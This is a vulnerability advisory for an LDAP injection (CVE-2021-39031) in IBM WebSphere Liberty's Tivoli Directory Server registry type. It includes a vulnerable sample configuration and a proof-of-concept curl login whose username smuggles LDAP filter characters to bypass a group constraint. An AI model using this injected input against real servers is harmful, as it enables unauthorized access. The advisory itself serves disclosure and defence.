IBM WebSphere Liberty LDAP injection
CVE-2021-39031
Description
WithSecure identified an LDAP injection in the IBM WebSphere Liberty application server. The injection could allow an attacker to gain unauthorized access to resources.
IBM describes Liberty as follows: "IBM® WebSphere® Liberty, available as part of IBM WebSphere Hybrid Edition, is a modern Java EE, Jakarta EE, MicroProfile runtime, ideal for building new cloud-native applications and modernizing existing applications. Liberty is highly efficient and optimized for modern cloud technologies and practices, making it an ideal choice for container and Kubernetes-based deployments."
Liberty supports integration with a number of different LDAP servers. These LDAP registries can be used for authenticating users. Different LDAP backends are supported and are called ldapTypes in the Liberty configuration. The IBM Tivoli Directory server ldapType did not properly escape characters with a special context in LDAP search filters. This enabled injection into the constructed LDAP query that could result in an altered LDAP search filter.
Vulnerable versions of Liberty are 17.0.0.3 - 22.0.0.1.
Impact
An attacker could alter the structure of the LDAP search filter during authentication, possibly bypassing constraints placed on authorization. A typical such constraint would be that the user must be member of a specific group or have a specific attribute value set.
Proof of concept
A vulnerable Liberty configuration file (server.xml) can be viewed below:
<server description="Sample Liberty server">
<featureManager>
<feature>jaxrs-2.1</feature>
<feature>jsonp-1.1</feature>
<feature>cdi-2.0</feature>
<feature>mpMetrics-3.0</feature>
<feature>mpConfig-2.0</feature>
<feature>ldapRegistry-3.0</feature>
<feature>appSecurity-3.0</feature>
</featureManager>
<variable name="default.http.port" defaultValue="9080"/>
<variable name="default.https.port" defaultValue="9443"/>
<mpMetrics authentication="false"/>
<webApplication location="liberty.war" contextRoot="/" />
<httpEndpoint host="*" httpPort="${default.http.port}" httpsPort="${default.https.port}" id="defaultHttpEndpoint"/>
<ldapRegistry id="ldap" realm="SampleLdapADRealm" host="openldap" port="389" ignoreCase="true" baseDN="cn=users,dc=my-company,dc=com" bindDN="cn=admin,dc=my-company,dc=com" bindPassword="JonSn0w" ldapType="IBM Tivoli Directory Server" sslEnabled="false">
<idsFilters userFilter="(&(uid=%v)(objectcategory=computer))"/>
<contextPool enabled="false"/>
</ldapRegistry>
<webAppSecurity allowFailOverToBasicAuth="true" allowAuthenticationFailOverToAuthMethod="BASIC"/>
</server>
The above userFilter contains a contrived example where only users that have their objectcategory set to computer can sign in. No user will be able to sign in using this filter, since user entries normally do not have this attribute value set. The configuration is set to allow user authentication using the Basic authentication method.
The deployed web application, liberty.war, simply prints the authenticated user's principal.
If we attempt a login with a valid username and password, the LDAP filter constraint prevents us from signing in:
§ curl "william:password@localhost:9080/login"
Login failed
By exploiting the LDAP injection, we bypass the LDAP filter constraint and are successfully signed in:
$ curl "william))(&(abc=:password@localhost:9080/login"
WSPrincipal:uid=william,cn=users,dc=my-company,dc=com
Workaround
The other ldapTypes in Liberty are not vulnerable. It might be possible to change the ldapType from IBM Tivoli Directory Server to another ldapType and still have a working integration with the LDAP server. This should of course be tested thoroughly to ensure that no issues are introduced by the change.